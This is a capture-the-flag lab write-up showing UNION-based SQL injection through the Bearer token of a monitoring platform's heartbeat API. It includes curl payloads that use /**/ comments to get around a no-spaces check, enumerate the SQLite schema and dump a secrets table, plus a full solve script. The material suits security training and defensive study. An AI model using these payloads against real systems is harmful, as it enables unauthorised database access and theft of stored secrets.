Lab 87 — GridWatch — SQL Injection in Agent Heartbeat API
Lab 87 — GridWatch — SQL Injection in Agent Heartbeat API
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: authorization_header_injection, decoy_flag_identification, sql_comment_space_bypass, sqlite_schema_enumeration, union_based_sql_injection
Summary
Walkthrough of the CUSTOM Web Lab 87 — GridWatch — SQL Injection in Agent Heartbeat API. Task: Infrastructure monitoring platform with agent heartbeat API that takes Bearer token in Authorization header, SQLite backend. Solution: UNION-based SQL injection in Bearer token with /**/ comment
Description
GridWatch is an infrastructure monitoring platform built by GridSec Technologies. It provides real-time visibility into servers, network devices, and applications through lightweight monitoring agents. Agents authenticate to the platform using API tokens sent via the Authorization header. Your goal is to find the platform's internal secret key stored in the database.
English summary: A monitoring platform with an agent heartbeat API endpoint (/api/agent/heartbeat) that authenticates agents via Bearer tokens. The token value is interpolated directly into a SQL query without parameterization, enabling UNION-based SQL injection. The twist is that spaces in the token are rejected because the server splits the Authorization header on whitespace — bypassed with /**/ SQL block comments.
Analysis
Reconnaissance
- Logged in with provided credentials (
user@test.com / password123) via form POST to/login - Explored the dashboard — found agents, alerts, and settings pages
- The
/settingspage contained API documentation for the agent heartbeat endpoint and all agent tokens in cleartext (e.g.,gw_tk_a1b2c3d4e5f6g7h8i9j0) - Every page contained a decoy flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in HTML comments and hidden divs — a honeypot designed to trick automated scanners
API Endpoint Behavior
- Endpoint:
GET /api/agent/heartbeat - Authentication:
Authorization: Bearer <agent_token> - Valid token →
{"agent_id":1,"agent_name":"prod-web-01","status":"acknowledged",...} - Invalid token →
{"error":"Invalid or revoked agent token"} - No token →
{"error":"Authorization header required","usage":"Bearer <agent_token>"}
SQL Injection Discovery
Sending a single quote as the token caused an internal server error — classic SQL error indicator:
bash read-only • copy allowedcurl -s "$URL/api/agent/heartbeat" -H "Authorization: Bearer '" # → {"error":"Internal server error"}
The underlying query is likely:
sql read-only • copy allowedSELECT id, name, token FROM agents WHERE token = '<user_input>'
Space Bypass
Payloads with spaces (e.g., Bearer ' OR 1=1 --) returned an authorization format error because the server splits the Authorization header on spaces and expects exactly 2 parts (Bearer + token):
{"error":"Invalid authorization format","expected":"Bearer <agent_token>"}
Bypass: Using /**/ (SQL block comments) as space replacement works perfectly since the token becomes a single whitespace-free string:
bash read-only • copy allowedcurl -s "$URL/api/agent/heartbeat" -H "Authorization: Bearer '/**/OR/**/1=1/**/--" # → {"agent_id":1,"agent_name":"prod-web-01","status":"acknowledged",...}
Solution
Step 1: Determine Column Count
bash read-only • copy allowedcurl -s "$URL/api/agent/heartbeat" \ -H "Authorization: Bearer '/**/UNION/**/SELECT/**/1,2,3--" # → {"agent_id":1,"agent_name":2,...}
3 columns confirmed. Column 1 maps to agent_id, column 2 maps to agent_name (reflected in response).
Step 2: Enumerate Tables
bash read-only • copy allowedcurl -s "$URL/api/agent/heartbeat" \ -H "Authorization: Bearer '/**/UNION/**/SELECT/**/1,group_concat(name),3/**/FROM/**/sqlite_master/**/WHERE/**/type='table'--"
Tables found: users, sqlite_sequence, agents, agent_metrics, alert_rules, alert_history, system_secrets
Step 3: Extract Table Schema
bash read-only • copy allowedcurl -s "$URL/api/agent/heartbeat" \ -H "Authorization: Bearer '/**/UNION/**/SELECT/**/1,group_concat(sql),3/**/FROM/**/sqlite_master/**/WHERE/**/type='table'--"
Key table: system_secrets with columns id, key_name, secret_value.
Step 4: Extract Flag
bash read-only • copy allowedcurl -s "$URL/api/agent/heartbeat" \ -H "Authorization: Bearer '/**/UNION/**/SELECT/**/1,group_concat(key_name||':'||secret_value),3/**/FROM/**/system_secrets--"
Response contained all secrets:
master_api_key:gsk_a8f3e2b1c4d5f6a789012345678abcdeencryption_key:aes256-gcm-k9x7w2m4p6r8t0v3b5n1q2webhook_signing_secret:whsec_q3r5t7u9w1y3a5c7e9g1i3k5internal_auth_secret:FLAG{REDACTED}
Full Solve Script
bash read-only • copy allowed#!/usr/bin/env bash # GridWatch — UNION SQLi in Bearer token with /**/ space bypass URL="https://TARGET.labs.hackadvisor.io" # Step 1: Confirm injection (3 columns) echo "[*] Testing UNION injection..." curl -s "$URL/api/agent/heartbeat" \ -H "Authorization: Bearer '/**/UNION/**/SELECT/**/1,2,3--" | python3 -m json.tool # Step 2: Enumerate tables echo "[*] Enumerating tables..." curl -s "$URL/api/agent/heartbeat" \ -H "Authorization: Bearer '/**/UNION/**/SELECT/**/1,group_concat(name),3/**/FROM/**/sqlite_master/**/WHERE/**/type='table'--" | python3 -m json.tool # Step 3: Extract secrets (flag) echo "[*] Extracting secrets..." curl -s "$URL/api/agent/heartbeat" \ -H "Authorization: Bearer '/**/UNION/**/SELECT/**/1,group_concat(key_name||':'||secret_value),3/**/FROM/**/system_secrets--" | python3 -m json.tool
Key Takeaways / Lessons
- Mastering authorization_header_injection, decoy_flag_identification, sql_comment_space_bypass, sqlite_schema_enumeration, union_based_sql_injection was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 87 — GridWatch — SQL Injection in Agent Heartbeat API • Difficulty: Medium